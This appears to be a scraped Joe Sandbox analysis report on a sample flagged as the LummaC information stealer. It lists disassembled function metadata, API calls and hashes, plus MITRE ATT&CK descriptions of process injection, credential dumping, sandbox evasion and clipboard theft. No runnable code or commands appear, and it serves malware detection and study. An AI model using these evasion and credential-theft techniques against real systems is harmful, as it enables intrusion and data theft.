Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eae7d2772a78467c0d93536fe5619a14daad1bcc9832cc0b3c97cf4b1fb97af8
Instruction ID: 832b43b70c8be9becace1e9a524aaac1633fa4a646e66cb56c40eb57a0982910
Opcode Fuzzy Hash: eae7d2772a78467c0d93536fe5619a14daad1bcc9832cc0b3c97cf4b1fb97af8
Instruction Fuzzy Hash: CAC04C249440015A81199B15DDE5879B3796687945740743CD90BD3260DB14E409991D

Uniqueness

Uniqueness Score: -1.00%

Function 00416582 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3f1035c1401d21b34ad4db02c73ed8df596dac4499ff47489de15c59aee4e8d
Instruction ID: 8b35dc4ed4a9966cb47b13b221a0358a275917a8b9a254330dbaa609285bd0fa
Opcode Fuzzy Hash: f3f1035c1401d21b34ad4db02c73ed8df596dac4499ff47489de15c59aee4e8d
Instruction Fuzzy Hash: 72C04C3CBAD240978348CF00D990875F77AE78B212B19B12DEC5513325D534E886850C

Uniqueness

Uniqueness Score: -1.00%

Function 00439461 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80402a54a2eb80e0272eadae08c2f832bf20fb6b3d132a6f8ec30e6a10445a34
Instruction ID: b9894db37ae32ee18a48b4ed2c803f881acc9e4ff8f0547e5b61e8919c04ec24
Opcode Fuzzy Hash: 80402a54a2eb80e0272eadae08c2f832bf20fb6b3d132a6f8ec30e6a10445a34
Instruction Fuzzy Hash: DBB002B8E58305AF8704DE25D480826F7F0AB5A260F11B859A495E7221D235D840CE59

Uniqueness

Uniqueness Score: -1.00%

Function 00422FF0 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 266COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,00000000,?), ref: 004230D8
RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,?,?), ref: 0042310F

Strings

e, xrefs: 004231D0
Uv, xrefs: 004231C2
I~, xrefs: 004231C9

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: I~$Uv$e
API String ID: 237503144-3460210907
Opcode ID: 8f93784fbeda9620add6718be1a9e18b46cdb369a03a0538d86fc0d0cb323890
Instruction ID: 16cafb33f1f8e4995bd0bdf4f58cd314be70f01e5f7da7e4e22661345279a5c2
Opcode Fuzzy Hash: 8f93784fbeda9620add6718be1a9e18b46cdb369a03a0538d86fc0d0cb323890
Instruction Fuzzy Hash: A2A11FB4240B108BE724CF26C4A0BA7BBE1BB46314F404E2DD4D78BB91D778B54ACB94

Uniqueness

Uniqueness Score: -1.00%

Function 0041E8A6 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 155COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,00000000,?), ref: 0041E9E0
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,?,?), ref: 0041EA0E

Strings

y~, xrefs: 0041E8FC
^t, xrefs: 0041E8F5
FC, xrefs: 0041E903

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: FC$^t$y~
API String ID: 237503144-1521909807
Opcode ID: 4d9b81468cc8d0a29ae4e86b71a6f6adb181da45d638faa304b63ba5a74a1f7d
Instruction ID: 7dc4180f42710efd34fe1777278b8f8e7ffdb24aa82c73dcb8f70fcf12544316
Opcode Fuzzy Hash: 4d9b81468cc8d0a29ae4e86b71a6f6adb181da45d638faa304b63ba5a74a1f7d
Instruction Fuzzy Hash: 0A5156B41007019FD724CF16C894B52BBB1FF85720F158A9CE8AA4FBA6D774E846CB85

Uniqueness

Uniqueness Score: -1.00%

Function 00433FB0 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 71COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,00000000,0000000D,1BC919F5,00000008,?), ref: 00434086

Strings

Y", xrefs: 00433FD4
ZC, xrefs: 00433FDC
]U, xrefs: 00433FC4
\O, xrefs: 00433FCC

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: Y"$ZC$\O$]U
API String ID: 237503144-2272643138
Opcode ID: 47c2b8574a887638884fb7d152d71a54bde3dcda3434452c017fa81227bf6c5e
Instruction ID: dc9efc591604e7eca86abe716767c5bc2ee1dea97722851847302af0a282a4f1
Opcode Fuzzy Hash: 47c2b8574a887638884fb7d152d71a54bde3dcda3434452c017fa81227bf6c5e
Instruction Fuzzy Hash: 3F2145751083809FD314CF18D490B5FBBF4FB8A348F500A1DFAA59B281C7B5E9068B96

Uniqueness

Uniqueness Score: -1.00%

Function 00429E94 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON

Download Yara Rule

APIs

SysStringLen.OLEAUT32 ref: 00429E9E

Part of subcall function 004359F0: RtlAllocateHeap.NTDLL(?,00000000,00409E11), ref: 00435A87

Strings

7, xrefs: 0042A038
0, xrefs: 0042A028
,, xrefs: 0042A030

Memory Dump Source

Source File: 00000002.00000002.2115851860.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: AllocateHeapString
String ID: ,$0$7
API String ID: 983180023-2155719752
Opcode ID: 3014c82a8aa4ecce16e822321478b9489deaecac6dfa0ed20a8e26eb28c689a7
Instruction ID: c908502eda0842b721617bfb232101f265745d64272503eb8c3c42083bdf6617
Opcode Fuzzy Hash: 3014c82a8aa4ecce16e822321478b9489deaecac6dfa0ed20a8e26eb28c689a7
Instruction Fuzzy Hash: 4791D471B097918FC335CE28C4907EBBBD2AB95324F594A2DD8E58B3C1D6398845CB46

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report hcjt7Ajt5t.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\hcjt7Ajt5t.exe.log

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Snort IDS Alerts

Network Port Distribution

Windows Analysis Report
hcjt7Ajt5t.exe

Function 02812435 Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 282
threadinjectionmemoryCOMMON

Function 00E70A2F Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 484
COMMON

Function 00E704F4 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 60
memoryCOMMON

Function 00E70500 Relevance: 1.6, APIs: 1, Instructions: 68
threadCOMMON

Function 00421670 Relevance: 10.5, Strings: 8, Instructions: 515
COMMON

Function 004216CE Relevance: 10.5, Strings: 8, Instructions: 462
COMMON

Function 00409D20 Relevance: 6.7, Strings: 5, Instructions: 468
COMMON

Function 004384D6 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138
COMMON

Function 0042A245 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 83
memoryCOMMON

Function 0040DBF0 Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 403
COMMON

Function 0040D5D0 Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 399
COMMON

Function 0041E695 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 157
COMMON

Function 00409240 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39
COMMON

Function 00418640 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64
COMMON

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre